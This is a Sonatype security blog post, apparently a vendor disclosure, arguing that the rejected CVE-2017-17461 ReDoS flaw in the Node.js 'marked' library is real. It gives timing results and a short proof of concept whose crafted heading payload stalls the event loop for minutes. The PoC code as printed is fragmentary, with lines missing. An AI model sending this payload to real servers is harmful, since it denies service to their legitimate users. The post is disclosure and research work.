One of our core beliefs at Sonatype is in the need for actionable, in-depth security research being necessary for remediating issues and fixing them. Our data research team works to analyse security vulnerabilities every day and enrich them so they can easily be consumed and actioned by our users. We often claim that our in-depth data research and patented approach to identifying open source components eliminates false positives and false negatives.
Sometimes, as the work is done, we also need to go against the grain and dispute what is accepted by even the original projects. A great example of this happened recently where our data research team re-established a vulnerability that was previously redacted by the affected project as being erroneous.
Adam Cazzolla and Nicholas Starke, Security Researchers at Sonatype, explain what happened:
When CVE-2017-17461 was first published, the Sonatype Security Research team conducted our usual research and entered the details for our users to enjoy. However, earlier this year we discovered that this CVE had been rejected. As with all rejected/disputed vulnerabilities, we always confirm the accuracy of the report before taking action. In this case, CVE-2017-17461 was rejected because of comments on the GitHub issue. In this issue, there was a fair amount of discussion leading to a general consensus that there was no vulnerability. Eventually the vendor that originally reported the vulnerability replied that, as a result of the discussion in the issue, they double-checked their research and came to the conclusion that they had made a mistake and there was no vulnerability.
It turns out there was a ReDoS vulnerability in “marked”, and it was pretty severe. The vulnerability we found was in the same “heading” regular expression as the original report, however our attack methodology and exploit were different. Our results exploiting the vulnerability are as follows:
String Length = 1004 | Execution time (hr): 0s 302.188241ms
String Length = 2004 | Execution time (hr): 2s 277.731431ms
String Length = 3004 | Execution time (hr): 7s 607.966944ms
String Length = 4004 | Execution time (hr): 17s 888.233089ms
String Length = 5004 | Execution time (hr): 34s 878.663421ms
String Length = 6004 | Execution time (hr): 59s 989.699778ms
String Length = 7004 | Execution time (hr): 95s 253.045358ms
String Length = 8004 | Execution time (hr): 143s 769.434633ms
String Length = 9004 | Execution time (hr): 205s 485.61976ms
String Length = 10004 | Execution time (hr): 280s 649.788687ms
This was run against the latest version of “marked” which at the time was 0.3.19.
As you can see with a little under 10KB of data we were blocking the event loop for almost five minutes. Keep in mind, ReDoS vulnerabilities in NodeJS are especially problematic because of the single-threaded nature of the NodeJS runtime. This means that if you run a web application server that accepts input which is passed to “marked”, your web application server can be attacked to deny service to legitimate users with a single HTTP request.
There are practical limits to how much data can be provided to exploit a ReDoS vulnerability. For example, the NodeJS limit on HTTP header size is 80 kilobytes. Likewise, the maximum request body size allowed by the npm HTTP body-parser module is 100 kilobytes. Input to “marked” is most likely not going to come from an HTTP header, so the 100KB limit is more likely in this scenario - further compounding the severity of the vulnerability.
For anyone interested, our original Proof of Concept is as follows (written in NodeJS):
var marked = require('marked');
var stringLengths = [
1, 2, 3, 4, 5 ,6, 7, 8, 9, 10
var payload = '# #' + ' '.repeat(stringLength * 1000) + 'A';
var start = process.hrtime();
var end = process.hrtime(start);
console.log("String Length = " + payload.length + " | Execution time (hr): %ds %dms", end, end/1000000);
What comes next?
The original CVE still shows as "Rejected" even though the vulnerability our research team identified and resolved is the same vulnerability identified in the CVE. In cases like this, our procedure is to create a Sonatype ID within Nexus Intelligence - sonatype-2018-0076 - so that our customers have the most precise and accurate data to power the Nexus Platform.
Why is this important?
False positives require developers to spend time they don’t have researching vulnerabilities and fixes for components that are not actually vulnerable. In a DevOps world where innovation is king and speed is paramount, false positives either slow you down or are ignored.
But the real concern is a false negative. A false negative is when a true vulnerability is not identified. With a false negative, you assume that your application is free of vulnerabilities, but it isn’t. In the scenario related to CVE-2017-17461, we correctly identified a vulnerability while other research teams did not, leaving you exposed.
At Sonatype, we take security vulnerabilities very seriously and spend countless hours analyzing thousands of packages to determine if open source components expose you to significant risk. This is just one example of how the in-depth research done by our security team helps our customers sleep better at night. They know that they are using the best automated open source governance solution fueled by the most precise and accurate intelligence.